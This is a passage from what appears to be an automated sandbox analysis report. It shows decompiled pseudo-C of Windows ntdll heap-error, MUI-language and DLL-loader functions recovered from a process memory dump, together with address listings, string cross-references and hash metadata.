                                      						E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      					}
                                      					_push( *0x37558b4);
                                      					E0366B150("Last known valid blocks: before - %p, after - %p\n",  *0x37558b0);
                                      				} else {
                                      					_t120 =  *0x37558b4; // 0x0
                                      					if(_t120 != 0) {
                                      						goto L41;
                                      					}
                                      				}
                                      				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      					_push(_t104);
                                      					E0366B150();
                                      				} else {
                                      					E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      				}
                                      				return E0366B150("Stack trace available at %p\n", 0x37558c0);
                                      			}











                                      0x03721c10
                                      0x03721c16
                                      0x03721c1e
                                      0x03721c3d
                                      0x03721c3e
                                      0x03721c20
                                      0x03721c35
                                      0x03721c3a
                                      0x03721c44
                                      0x03721c55
                                      0x03721c5a
                                      0x03721c65
                                      0x03721c67
                                      0x00000000
                                      0x03721c6e
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03721c67
                                      0x03721cdc
                                      0x03721ce5
                                      0x03721d04
                                      0x03721d05
                                      0x03721ce7
                                      0x03721cfc
                                      0x03721d01
                                      0x03721d0b
                                      0x03721d17
                                      0x03721d1f
                                      0x03721d25
                                      0x03721d30
                                      0x03721d4f
                                      0x03721d50
                                      0x03721d32
                                      0x03721d47
                                      0x03721d4c
                                      0x03721d61
                                      0x03721d67
                                      0x03721d68
                                      0x03721d6e
                                      0x03721d79
                                      0x03721d98
                                      0x03721d99
                                      0x03721d7b
                                      0x03721d90
                                      0x03721d95
                                      0x03721daa
                                      0x03721db0
                                      0x03721db1
                                      0x03721db7
                                      0x03721dc2
                                      0x03721de1
                                      0x03721de2
                                      0x03721dc4
                                      0x03721dd9
                                      0x03721dde
                                      0x03721df3
                                      0x03721df9
                                      0x03721dfa
                                      0x03721e00
                                      0x03721e0a
                                      0x03721e13
                                      0x03721e32
                                      0x03721e33
                                      0x03721e15
                                      0x03721e2a
                                      0x03721e2f
                                      0x03721e39
                                      0x03721e4a
                                      0x03721e02
                                      0x03721e02
                                      0x03721e08
                                      0x00000000
                                      0x00000000
                                      0x03721e08
                                      0x03721e5b
                                      0x03721e7a
                                      0x03721e7b
                                      0x03721e5d
                                      0x03721e72
                                      0x03721e77
                                      0x03721e95

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
                                      • API String ID: 0-2897834094
                                      • Opcode ID: f4e7dfb970a451b2d416be93ab1ff7ccc62576759b23215330edf3666f8b368e
                                      • Instruction ID: ae9226abb96dbfc2aeff483e018c103de53403f54feac1df510a732a1612b26a
                                      • Opcode Fuzzy Hash: f4e7dfb970a451b2d416be93ab1ff7ccc62576759b23215330edf3666f8b368e
                                      • Instruction Fuzzy Hash: F761C53BA11258EFC615EF85D485D24BBE4FB04971B49807EF80BAF301C675A9809B1D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 96%
                                      			E03673D34(signed int* __ecx) {
                                      				signed int* _v8;
                                      				char _v12;
                                      				signed int* _v16;
                                      				signed int* _v20;
                                      				char _v24;
                                      				signed int _v28;
                                      				signed int _v32;
                                      				char _v36;
                                      				signed int _v40;
                                      				signed int _v44;
                                      				signed int* _v48;
                                      				signed int* _v52;
                                      				signed int _v56;
                                      				signed int _v60;
                                      				char _v68;
                                      				signed int _t140;
                                      				signed int _t161;
                                      				signed int* _t236;
                                      				signed int* _t242;
                                      				signed int* _t243;
                                      				signed int* _t244;
                                      				signed int* _t245;
                                      				signed int _t255;
                                      				void* _t257;
                                      				signed int _t260;
                                      				void* _t262;
                                      				signed int _t264;
                                      				void* _t267;
                                      				signed int _t275;
                                      				signed int* _t276;
                                      				short* _t277;
                                      				signed int* _t278;
                                      				signed int* _t279;
                                      				signed int* _t280;
                                      				short* _t281;
                                      				signed int* _t282;
                                      				short* _t283;
                                      				signed int* _t284;
                                      				void* _t285;
                                      
                                      				_v60 = _v60 | 0xffffffff;
                                      				_t280 = 0;
                                      				_t242 = __ecx;
                                      				_v52 = __ecx;
                                      				_v8 = 0;
                                      				_v20 = 0;
                                      				_v40 = 0;
                                      				_v28 = 0;
                                      				_v32 = 0;
                                      				_v44 = 0;
                                      				_v56 = 0;
                                      				_t275 = 0;
                                      				_v16 = 0;
                                      				if(__ecx == 0) {
                                      					_t280 = 0xc000000d;
                                      					_t140 = 0;
                                      					L50:
                                      					 *_t242 =  *_t242 | 0x00000800;
                                      					_t242[0x13] = _t140;
                                      					_t242[0x16] = _v40;
                                      					_t242[0x18] = _v28;
                                      					_t242[0x14] = _v32;
                                      					_t242[0x17] = _t275;
                                      					_t242[0x15] = _v44;
                                      					_t242[0x11] = _v56;
                                      					_t242[0x12] = _v60;
                                      					return _t280;
                                      				}
                                      				if(E03671B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
                                      					_v56 = 1;
                                      					if(_v8 != 0) {
                                      						L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
                                      					}
                                      					_v8 = _t280;
                                      				}
                                      				if(E03671B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
                                      					_v60 =  *_v8;
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
                                      					_v8 = _t280;
                                      				}
                                      				if(E03671B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
                                      					L16:
                                      					if(E03671B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
                                      						L28:
                                      						if(E03671B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
                                      							L46:
                                      							_t275 = _v16;
                                      							L47:
                                      							_t161 = 0;
                                      							L48:
                                      							if(_v8 != 0) {
                                      								L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
                                      							}
                                      							_t140 = _v20;
                                      							if(_t140 != 0) {
                                      								if(_t275 != 0) {
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
                                      									_t275 = 0;
                                      									_v28 = 0;
                                      									_t140 = _v20;
                                      								}
                                      							}
                                      							goto L50;
                                      						}
                                      						_t167 = _v12;
                                      						_t255 = _v12 + 4;
                                      						_v44 = _t255;
                                      						if(_t255 == 0) {
                                      							_t276 = _t280;
                                      							_v32 = _t280;
                                      						} else {
                                      							_t276 = L03684620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
                                      							_t167 = _v12;
                                      							_v32 = _t276;
                                      						}
                                      						if(_t276 == 0) {
                                      							_v44 = _t280;
                                      							_t280 = 0xc0000017;
                                      							goto L46;
                                      						} else {
                                      							E036AF3E0(_t276, _v8, _t167);
                                      							_v48 = _t276;
                                      							_t277 = E036B1370(_t276, 0x3644e90);
                                      							_pop(_t257);
                                      							if(_t277 == 0) {
                                      								L38:
                                      								_t170 = _v48;
                                      								if( *_v48 != 0) {
                                      									E036ABB40(0,  &_v68, _t170);
                                      									if(L036743C0( &_v68,  &_v24) != 0) {
                                      										_t280 =  &(_t280[0]);
                                      									}
                                      								}
                                      								if(_t280 == 0) {
                                      									_t280 = 0;
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
                                      									_v44 = 0;
                                      									_v32 = 0;
                                      								} else {
                                      									_t280 = 0;
                                      								}
                                      								_t174 = _v8;
                                      								if(_v8 != 0) {
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
                                      								}
                                      								_v8 = _t280;
                                      								goto L46;
                                      							}
                                      							_t243 = _v48;
                                      							do {
                                      								 *_t277 = 0;
                                      								_t278 = _t277 + 2;
                                      								E036ABB40(_t257,  &_v68, _t243);
                                      								if(L036743C0( &_v68,  &_v24) != 0) {
                                      									_t280 =  &(_t280[0]);
                                      								}
                                      								_t243 = _t278;
                                      								_t277 = E036B1370(_t278, 0x3644e90);
                                      								_pop(_t257);
                                      							} while (_t277 != 0);
                                      							_v48 = _t243;
                                      							_t242 = _v52;
                                      							goto L38;
                                      						}
                                      					}
                                      					_t191 = _v12;
                                      					_t260 = _v12 + 4;
                                      					_v28 = _t260;
                                      					if(_t260 == 0) {
                                      						_t275 = _t280;
                                      						_v16 = _t280;
                                      					} else {
                                      						_t275 = L03684620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
                                      						_t191 = _v12;
                                      						_v16 = _t275;
                                      					}
                                      					if(_t275 == 0) {
                                      						_v28 = _t280;
                                      						_t280 = 0xc0000017;
                                      						goto L47;
                                      					} else {
                                      						E036AF3E0(_t275, _v8, _t191);
                                      						_t285 = _t285 + 0xc;
                                      						_v48 = _t275;
                                      						_t279 = _t280;
                                      						_t281 = E036B1370(_v16, 0x3644e90);
                                      						_pop(_t262);
                                      						if(_t281 != 0) {
                                      							_t244 = _v48;
                                      							do {
                                      								 *_t281 = 0;
                                      								_t282 = _t281 + 2;
                                      								E036ABB40(_t262,  &_v68, _t244);
                                      								if(L036743C0( &_v68,  &_v24) != 0) {
                                      									_t279 =  &(_t279[0]);
                                      								}
                                      								_t244 = _t282;
                                      								_t281 = E036B1370(_t282, 0x3644e90);
                                      								_pop(_t262);
                                      							} while (_t281 != 0);
                                      							_v48 = _t244;
                                      							_t242 = _v52;
                                      						}
                                      						_t201 = _v48;
                                      						_t280 = 0;
                                      						if( *_v48 != 0) {
                                      							E036ABB40(_t262,  &_v68, _t201);
                                      							if(L036743C0( &_v68,  &_v24) != 0) {
                                      								_t279 =  &(_t279[0]);
                                      							}
                                      						}
                                      						if(_t279 == 0) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
                                      							_v28 = _t280;
                                      							_v16 = _t280;
                                      						}
                                      						_t202 = _v8;
                                      						if(_v8 != 0) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
                                      						}
                                      						_v8 = _t280;
                                      						goto L28;
                                      					}
                                      				}
                                      				_t214 = _v12;
                                      				_t264 = _v12 + 4;
                                      				_v40 = _t264;
                                      				if(_t264 == 0) {
                                      					_v20 = _t280;
                                      				} else {
                                      					_t236 = L03684620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
                                      					_t280 = _t236;
                                      					_v20 = _t236;
                                      					_t214 = _v12;
                                      				}
                                      				if(_t280 == 0) {
                                      					_t161 = 0;
                                      					_t280 = 0xc0000017;
                                      					_v40 = 0;
                                      					goto L48;
                                      				} else {
                                      					E036AF3E0(_t280, _v8, _t214);
                                      					_t285 = _t285 + 0xc;
                                      					_v48 = _t280;
                                      					_t283 = E036B1370(_t280, 0x3644e90);
                                      					_pop(_t267);
                                      					if(_t283 != 0) {
                                      						_t245 = _v48;
                                      						do {
                                      							 *_t283 = 0;
                                      							_t284 = _t283 + 2;
                                      							E036ABB40(_t267,  &_v68, _t245);
                                      							if(L036743C0( &_v68,  &_v24) != 0) {
                                      								_t275 = _t275 + 1;
                                      							}
                                      							_t245 = _t284;
                                      							_t283 = E036B1370(_t284, 0x3644e90);
                                      							_pop(_t267);
                                      						} while (_t283 != 0);
                                      						_v48 = _t245;
                                      						_t242 = _v52;
                                      					}
                                      					_t224 = _v48;
                                      					_t280 = 0;
                                      					if( *_v48 != 0) {
                                      						E036ABB40(_t267,  &_v68, _t224);
                                      						if(L036743C0( &_v68,  &_v24) != 0) {
                                      							_t275 = _t275 + 1;
                                      						}
                                      					}
                                      					if(_t275 == 0) {
                                      						L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
                                      						_v40 = _t280;
                                      						_v20 = _t280;
                                      					}
                                      					_t225 = _v8;
                                      					if(_v8 != 0) {
                                      						L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
                                      					}
                                      					_v8 = _t280;
                                      					goto L16;
                                      				}
                                      			}










































                                      0x03673d3c
                                      0x03673d42
                                      0x03673d44
                                      0x03673d46
                                      0x03673d49
                                      0x03673d4c
                                      0x03673d4f
                                      0x03673d52
                                      0x03673d55
                                      0x03673d58
                                      0x03673d5b
                                      0x03673d5f
                                      0x03673d61
                                      0x03673d66
                                      0x036c8213
                                      0x036c8218
                                      0x03674085
                                      0x03674088
                                      0x0367408e
                                      0x03674094
                                      0x0367409a
                                      0x036740a0
                                      0x036740a6
                                      0x036740a9
                                      0x036740af
                                      0x036740b6
                                      0x036740bd
                                      0x036740bd
                                      0x03673d83
                                      0x036c821f
                                      0x036c8229
                                      0x036c8238
                                      0x036c8238
                                      0x036c823d
                                      0x036c823d
                                      0x03673da0
                                      0x03673daf
                                      0x03673db5
                                      0x03673dba
                                      0x03673dba
                                      0x03673dd4
                                      0x03673e94
                                      0x03673eab
                                      0x03673f6d
                                      0x03673f84
                                      0x0367406b
                                      0x0367406b
                                      0x0367406e
                                      0x0367406e
                                      0x03674070
                                      0x03674074
                                      0x036c8351
                                      0x036c8351
                                      0x0367407a
                                      0x0367407f
                                      0x036c835d
                                      0x036c8370
                                      0x036c8377
                                      0x036c8379
                                      0x036c837c
                                      0x036c837c
                                      0x036c835d
                                      0x00000000
                                      0x0367407f
                                      0x03673f8a
                                      0x03673f8d
                                      0x03673f90
                                      0x03673f95
                                      0x036c830d
                                      0x036c830f
                                      0x03673f9b
                                      0x03673fac
                                      0x03673fae
                                      0x03673fb1
                                      0x03673fb1
                                      0x03673fb6
                                      0x036c8317
                                      0x036c831a
                                      0x00000000
                                      0x03673fbc
                                      0x03673fc1
                                      0x03673fc9
                                      0x03673fd7
                                      0x03673fda
                                      0x03673fdd
                                      0x03674021
                                      0x03674021
                                      0x03674029
                                      0x03674030
                                      0x03674044
                                      0x03674046
                                      0x03674046
                                      0x03674044
                                      0x03674049
                                      0x036c8327
                                      0x036c8334
                                      0x036c8339
                                      0x036c833c
                                      0x0367404f
                                      0x0367404f
                                      0x0367404f
                                      0x03674051
                                      0x03674056
                                      0x03674063
                                      0x03674063
                                      0x03674068
                                      0x00000000
                                      0x03674068
                                      0x03673fdf
                                      0x03673fe2
                                      0x03673fe4
                                      0x03673fe7
                                      0x03673fef
                                      0x03674003
                                      0x03674005
                                      0x03674005
                                      0x0367400c
                                      0x03674013
                                      0x03674016
                                      0x03674017
                                      0x0367401b
                                      0x0367401e
                                      0x00000000
                                      0x0367401e
                                      0x03673fb6
                                      0x03673eb1
                                      0x03673eb4
                                      0x03673eb7
                                      0x03673ebc
                                      0x036c82a9
                                      0x036c82ab
                                      0x03673ec2
                                      0x03673ed3
                                      0x03673ed5
                                      0x03673ed8
                                      0x03673ed8
                                      0x03673edd
                                      0x036c82b3
                                      0x036c82b6
                                      0x00000000
                                      0x03673ee3
                                      0x03673ee8
                                      0x03673eed
                                      0x03673ef0
                                      0x03673ef3
                                      0x03673f02
                                      0x03673f05
                                      0x03673f08
                                      0x036c82c0
                                      0x036c82c3
                                      0x036c82c5
                                      0x036c82c8
                                      0x036c82d0
                                      0x036c82e4
                                      0x036c82e6
                                      0x036c82e6
                                      0x036c82ed
                                      0x036c82f4
                                      0x036c82f7
                                      0x036c82f8
                                      0x036c82fc
                                      0x036c82ff
                                      0x036c82ff
                                      0x03673f0e
                                      0x03673f11
                                      0x03673f16
                                      0x03673f1d
                                      0x03673f31
                                      0x036c8307
                                      0x036c8307
                                      0x03673f31
                                      0x03673f39
                                      0x03673f48
                                      0x03673f4d
                                      0x03673f50
                                      0x03673f50
                                      0x03673f53
                                      0x03673f58
                                      0x03673f65
                                      0x03673f65
                                      0x03673f6a
                                      0x00000000
                                      0x03673f6a
                                      0x03673edd
                                      0x03673dda
                                      0x03673ddd
                                      0x03673de0
                                      0x03673de5
                                      0x036c8245
                                      0x03673deb
                                      0x03673df7
                                      0x03673dfc
                                      0x03673dfe
                                      0x03673e01
                                      0x03673e01
                                      0x03673e06
                                      0x036c824d
                                      0x036c824f
                                      0x036c8254
                                      0x00000000
                                      0x03673e0c
                                      0x03673e11
                                      0x03673e16
                                      0x03673e19
                                      0x03673e29
                                      0x03673e2c
                                      0x03673e2f
                                      0x036c825c
                                      0x036c825f
                                      0x036c8261
                                      0x036c8264
                                      0x036c826c
                                      0x036c8280
                                      0x036c8282
                                      0x036c8282
                                      0x036c8289
                                      0x036c8290
                                      0x036c8293
                                      0x036c8294
                                      0x036c8298
                                      0x036c829b
                                      0x036c829b
                                      0x03673e35
                                      0x03673e38
                                      0x03673e3d
                                      0x03673e44
                                      0x03673e58
                                      0x036c82a3
                                      0x036c82a3
                                      0x03673e58
                                      0x03673e60
                                      0x03673e6f
                                      0x03673e74
                                      0x03673e77
                                      0x03673e77
                                      0x03673e7a
                                      0x03673e7f
                                      0x03673e8c
                                      0x03673e8c
                                      0x03673e91
                                      0x00000000
                                      0x03673e91

                                      Strings
                                      • Kernel-MUI-Language-Disallowed, xrefs: 03673E97
                                      • Kernel-MUI-Language-SKU, xrefs: 03673F70
                                      • Kernel-MUI-Language-Allowed, xrefs: 03673DC0
                                      • Kernel-MUI-Number-Allowed, xrefs: 03673D8C
                                      • WindowsExcludedProcs, xrefs: 03673D6F
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                      • API String ID: 0-258546922
                                      • Opcode ID: fff224b1614abdc66d100f425553523c9dfa05f658612661c8ea47a90bc9c9ff
                                      • Instruction ID: 10ff9d91b531da77797a26722d0e3ee7926879ca0a82cd94fe1a105e77c1716b
                                      • Opcode Fuzzy Hash: fff224b1614abdc66d100f425553523c9dfa05f658612661c8ea47a90bc9c9ff
                                      • Instruction Fuzzy Hash: 50F17E76D10658EFCB12DF99C984AEEBBB9FF08650F54015AE405AB310EB349E01CBE4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 44%
                                      			E03698E00(void* __ecx) {
                                      				signed int _v8;
                                      				char _v12;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr* _t32;
                                      				intOrPtr _t35;
                                      				intOrPtr _t43;
                                      				void* _t46;
                                      				intOrPtr _t47;
                                      				void* _t48;
                                      				signed int _t49;
                                      				void* _t50;
                                      				intOrPtr* _t51;
                                      				signed int _t52;
                                      				void* _t53;
                                      				intOrPtr _t55;
                                      
                                      				_v8 =  *0x375d360 ^ _t52;
                                      				_t49 = 0;
                                      				_t48 = __ecx;
                                      				_t55 =  *0x3758464; // 0x76d30110
                                      				if(_t55 == 0) {
                                      					L9:
                                      					if( !_t49 >= 0) {
                                      						if(( *0x3755780 & 0x00000003) != 0) {
                                      							E036E5510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
                                      						}
                                      						if(( *0x3755780 & 0x00000010) != 0) {
                                      							asm("int3");
                                      						}
                                      					}
                                      					return E036AB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
                                      				}
                                      				_t47 =  *((intOrPtr*)(__ecx + 0x18));
                                      				_t43 =  *0x3757984; // 0x903ea0
                                      				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
                                      					_t32 =  *((intOrPtr*)(_t48 + 0x28));
                                      					if(_t48 == _t43) {
                                      						_t50 = 0x5c;
                                      						if( *_t32 == _t50) {
                                      							_t46 = 0x3f;
                                      							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
                                      								_t32 = _t32 + 8;
                                      							}
                                      						}
                                      					}
                                      					_t51 =  *0x3758464; // 0x76d30110
                                      					 *0x375b1e0(_t47, _t32,  &_v12);
                                      					_t49 =  *_t51();
                                      					if(_t49 >= 0) {
                                      						L8:
                                      						_t35 = _v12;
                                      						if(_t35 != 0) {
                                      							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
                                      								E03699B10( *((intOrPtr*)(_t48 + 0x48)));
                                      								_t35 = _v12;
                                      							}
                                      							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
                                      						}
                                      						goto L9;
                                      					}
                                      					if(_t49 != 0xc000008a) {
                                      						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
                                      							if(_t49 != 0xc00000bb) {
                                      								goto L8;
                                      							}
                                      						}
                                      					}
                                      					if(( *0x3755780 & 0x00000005) != 0) {
                                      						_push(_t49);
                                      						E036E5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
                                      						_t53 = _t53 + 0x1c;
                                      					}
                                      					_t49 = 0;
                                      					goto L8;
                                      				} else {
                                      					goto L9;
                                      				}
                                      			}




















                                      0x03698e0f
                                      0x03698e16
                                      0x03698e19
                                      0x03698e1b
                                      0x03698e21
                                      0x03698e7f
                                      0x03698e85
                                      0x036d9354
                                      0x036d936c
                                      0x036d9371
                                      0x036d937b
                                      0x036d9381
                                      0x036d9381
                                      0x036d937b
                                      0x03698e9d
                                      0x03698e9d
                                      0x03698e29
                                      0x03698e2c
                                      0x03698e38
                                      0x03698e3e
                                      0x03698e43
                                      0x03698eb5
                                      0x03698eb9
                                      0x036d92aa
                                      0x036d92af
                                      0x036d92e8
                                      0x036d92e8
                                      0x036d92af
                                      0x03698eb9
                                      0x03698e45
                                      0x03698e53
                                      0x03698e5b
                                      0x03698e5f
                                      0x03698e78
                                      0x03698e78
                                      0x03698e7d
                                      0x03698ec3
                                      0x03698ecd
                                      0x03698ed2
                                      0x03698ed2
                                      0x03698ec5
                                      0x03698ec5
                                      0x00000000
                                      0x03698e7d
                                      0x03698e67
                                      0x03698ea4
                                      0x036d931a
                                      0x00000000
                                      0x00000000
                                      0x036d9320
                                      0x03698ea4
                                      0x03698e70
                                      0x036d9325
                                      0x036d9340
                                      0x036d9345
                                      0x036d9345
                                      0x03698e76
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Strings
                                      • Querying the active activation context failed with status 0x%08lx, xrefs: 036D9357
                                      • minkernel\ntdll\ldrsnap.c, xrefs: 036D933B, 036D9367
                                      • LdrpFindDllActivationContext, xrefs: 036D9331, 036D935D
                                      • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 036D932A
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                      • API String ID: 0-3779518884
                                      • Opcode ID: 6c2dd4fb3cd188fa60d6fe578543c8941ee7cf54652a9b7fddec79ef37f6c1a5
                                      • Instruction ID: d3ef922e14a9b8bd11bf0273526aa3ecd03a83e2a700bdde03c890984af69ec0
                                      • Opcode Fuzzy Hash: 6c2dd4fb3cd188fa60d6fe578543c8941ee7cf54652a9b7fddec79ef37f6c1a5
                                      • Instruction Fuzzy Hash: 60412C32E003159FFF34EA14C968A75B7BCBB43314F0E816BE91557291E7B09C808283
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 83%
                                      			E03678794(void* __ecx) {
                                      				signed int _v0;
                                      				char _v8;
                                      				signed int _v12;
                                      				void* _v16;
                                      				signed int _v20;
                                      				intOrPtr _v24;
                                      				signed int _v28;
                                      				signed int _v32;
                                      				signed int _v40;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				intOrPtr* _t77;
                                      				signed int _t80;
                                      				signed char _t81;
                                      				signed int _t87;
                                      				signed int _t91;
                                      				void* _t92;
                                      				void* _t94;
                                      				signed int _t95;
                                      				signed int _t103;
                                      				signed int _t105;
                                      				signed int _t110;
                                      				signed int _t118;
                                      				intOrPtr* _t121;
                                      				intOrPtr _t122;
                                      				signed int _t125;
                                      				signed int _t129;
                                      				signed int _t131;
                                      				signed int _t134;
                                      				signed int _t136;
                                      				signed int _t143;
                                      				signed int* _t147;
                                      				signed int _t151;
                                      				void* _t153;
                                      				signed int* _t157;
                                      				signed int _t159;
                                      				signed int _t161;
                                      				signed int _t166;
                                      				signed int _t168;
                                      
                                      				_push(__ecx);
                                      				_t153 = __ecx;
                                      				_t159 = 0;
                                      				_t121 = __ecx + 0x3c;
                                      				if( *_t121 == 0) {
                                      					L2:
                                      					_t77 =  *((intOrPtr*)(_t153 + 0x58));
                                      					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
                                      						_t122 =  *((intOrPtr*)(_t153 + 0x20));
                                      						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
                                      						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
                                      							L6:
                                      							if(E0367934A() != 0) {
                                      								_t159 = E036EA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
                                      								__eflags = _t159;
                                      								if(_t159 < 0) {
                                      									_t81 =  *0x3755780; // 0x0
                                      									__eflags = _t81 & 0x00000003;
                                      									if((_t81 & 0x00000003) != 0) {
                                      										_push(_t159);
                                      										E036E5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
                                      										_t81 =  *0x3755780; // 0x0
                                      									}
                                      									__eflags = _t81 & 0x00000010;
                                      									if((_t81 & 0x00000010) != 0) {
                                      										asm("int3");
                                      									}
                                      								}
                                      							}
                                      						} else {
                                      							_t159 = E0367849B(0, _t122, _t153, _t159, _t180);
                                      							if(_t159 >= 0) {
                                      								goto L6;
                                      							}
                                      						}
                                      						_t80 = _t159;
                                      						goto L8;
                                      					} else {
                                      						_t125 = 0x13;
                                      						asm("int 0x29");
                                      						_push(0);
                                      						_push(_t159);
                                      						_t161 = _t125;
                                      						_t87 =  *( *[fs:0x30] + 0x1e8);
                                      						_t143 = 0;
                                      						_v40 = _t161;
                                      						_t118 = 0;
                                      						_push(_t153);
                                      						__eflags = _t87;
                                      						if(_t87 != 0) {
                                      							_t118 = _t87 + 0x5d8;
                                      							__eflags = _t118;
                                      							if(_t118 == 0) {
                                      								L46:
                                      								_t118 = 0;
                                      							} else {
                                      								__eflags =  *(_t118 + 0x30);
                                      								if( *(_t118 + 0x30) == 0) {
                                      									goto L46;
                                      								}
                                      							}
                                      						}
                                      						_v32 = 0;
                                      						_v28 = 0;
                                      						_v16 = 0;
                                      						_v20 = 0;
                                      						_v12 = 0;
                                      						__eflags = _t118;
                                      						if(_t118 != 0) {
                                      							__eflags = _t161;
                                      							if(_t161 != 0) {
                                      								__eflags =  *(_t118 + 8);
                                      								if( *(_t118 + 8) == 0) {
                                      									L22:
                                      									_t143 = 1;
                                      									__eflags = 1;
                                      								} else {
                                      									_t19 = _t118 + 0x40; // 0x40
                                      									_t156 = _t19;
